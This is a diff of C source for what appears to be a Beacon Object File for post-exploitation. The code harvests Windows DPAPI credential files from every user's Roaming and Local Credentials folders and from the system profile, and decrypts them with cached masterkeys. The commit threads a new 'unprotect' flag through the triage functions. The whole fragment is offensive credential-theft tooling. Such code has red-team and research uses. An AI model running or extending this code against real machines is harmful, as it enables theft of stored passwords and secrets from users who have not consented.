@@ -464,6 +464,7 @@ BOOL triage_system_masterkeys(MASTERKEY_CACHE* cache) {
464464typedef struct {
465465 MASTERKEY_CACHE * cache ;
466466 int found ;
467+ BOOL unprotect ;
467468} CRED_TRIAGE_CTX ;
468469
469470static void triage_cred_file_cb (const wchar_t * path , void * ctx ) {
@@ -477,27 +478,28 @@ static void triage_cred_file_cb(const wchar_t* path, void* ctx) {
477478 BeaconPrintf (CALLBACK_OUTPUT , "\n CredFile : %s\n" , path_str ? path_str : "?" );
478479 if (path_str ) intFree (path_str );
479480
480- describe_credential (data , data_len , tc -> cache , NULL );
481+ describe_credential (data , data_len , tc -> cache , tc -> unprotect , NULL );
481482 tc -> found ++ ;
482483
483484 intFree (data );
484485}
485486
486- BOOL triage_cred_file (MASTERKEY_CACHE * cache , const wchar_t * file_path ) {
487- CRED_TRIAGE_CTX ctx = { cache , 0 };
487+ BOOL triage_cred_file (MASTERKEY_CACHE * cache , const wchar_t * file_path , BOOL unprotect ) {
488+ CRED_TRIAGE_CTX ctx = { cache , 0 , unprotect };
488489 triage_cred_file_cb (file_path , & ctx );
489490 return (ctx .found > 0 );
490491}
491492
492- BOOL triage_cred_folder (MASTERKEY_CACHE * cache , const wchar_t * folder ) {
493- CRED_TRIAGE_CTX ctx = { cache , 0 };
493+ BOOL triage_cred_folder (MASTERKEY_CACHE * cache , const wchar_t * folder , BOOL unprotect ) {
494+ CRED_TRIAGE_CTX ctx = { cache , 0 , unprotect };
494495 enumerate_files (folder , NULL , triage_cred_file_cb , & ctx );
495496 return (ctx .found > 0 );
496497}
497498
498499BOOL triage_user_creds (MASTERKEY_CACHE * cache ,
499500 const wchar_t * target ,
500- const wchar_t * server ) {
501+ const wchar_t * server ,
502+ BOOL unprotect ) {
501503 BeaconPrintf (CALLBACK_OUTPUT , "\n[*] Triaging user credentials...\n" );
502504
503505 int user_count = 0 ;
@@ -506,11 +508,11 @@ BOOL triage_user_creds(MASTERKEY_CACHE* cache,
506508 for (int i = 0 ; i < user_count ; i ++ ) {
507509 wchar_t cred_path [MAX_PATH * 2 ];
508510 swprintf (cred_path , L"%s\\AppData\\Roaming\\Microsoft\\Credentials" , users [i ]);
509- triage_cred_folder (cache , cred_path );
511+ triage_cred_folder (cache , cred_path , unprotect );
510512
511513 /* Also check Local\Credentials */
512514 swprintf (cred_path , L"%s\\AppData\\Local\\Microsoft\\Credentials" , users [i ]);
513- triage_cred_folder (cache , cred_path );
515+ triage_cred_folder (cache , cred_path , unprotect );
514516 }
515517
516518 for (int i = 0 ; i < user_count ; i ++ ) intFree (users [i ]);
@@ -519,11 +521,11 @@ BOOL triage_user_creds(MASTERKEY_CACHE* cache,
519521 return TRUE;
520522}
521523
522- BOOL triage_system_creds (MASTERKEY_CACHE * cache ) {
524+ BOOL triage_system_creds (MASTERKEY_CACHE * cache , BOOL unprotect ) {
523525 BeaconPrintf (CALLBACK_OUTPUT , "\n[*] Triaging system credentials...\n" );
524526
525527 wchar_t path [] = L"C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials" ;
526- return triage_cred_folder (cache , path );
528+ return triage_cred_folder (cache , path , unprotect );
527529}
528530
529531/* ============================================================
@@ -738,7 +740,7 @@ BOOL triage_user_full(MASTERKEY_CACHE* cache,
738740 }
739741
740742 BeaconPrintf (CALLBACK_OUTPUT , "\n[*] --- User Credentials ---\n" );
741- triage_user_creds (cache , target , server );
743+ triage_user_creds (cache , target , server , FALSE );
742744
743745 BeaconPrintf (CALLBACK_OUTPUT , "\n[*] --- User Vaults ---\n" );
744746 triage_user_vaults (cache , target , server );
0 commit comments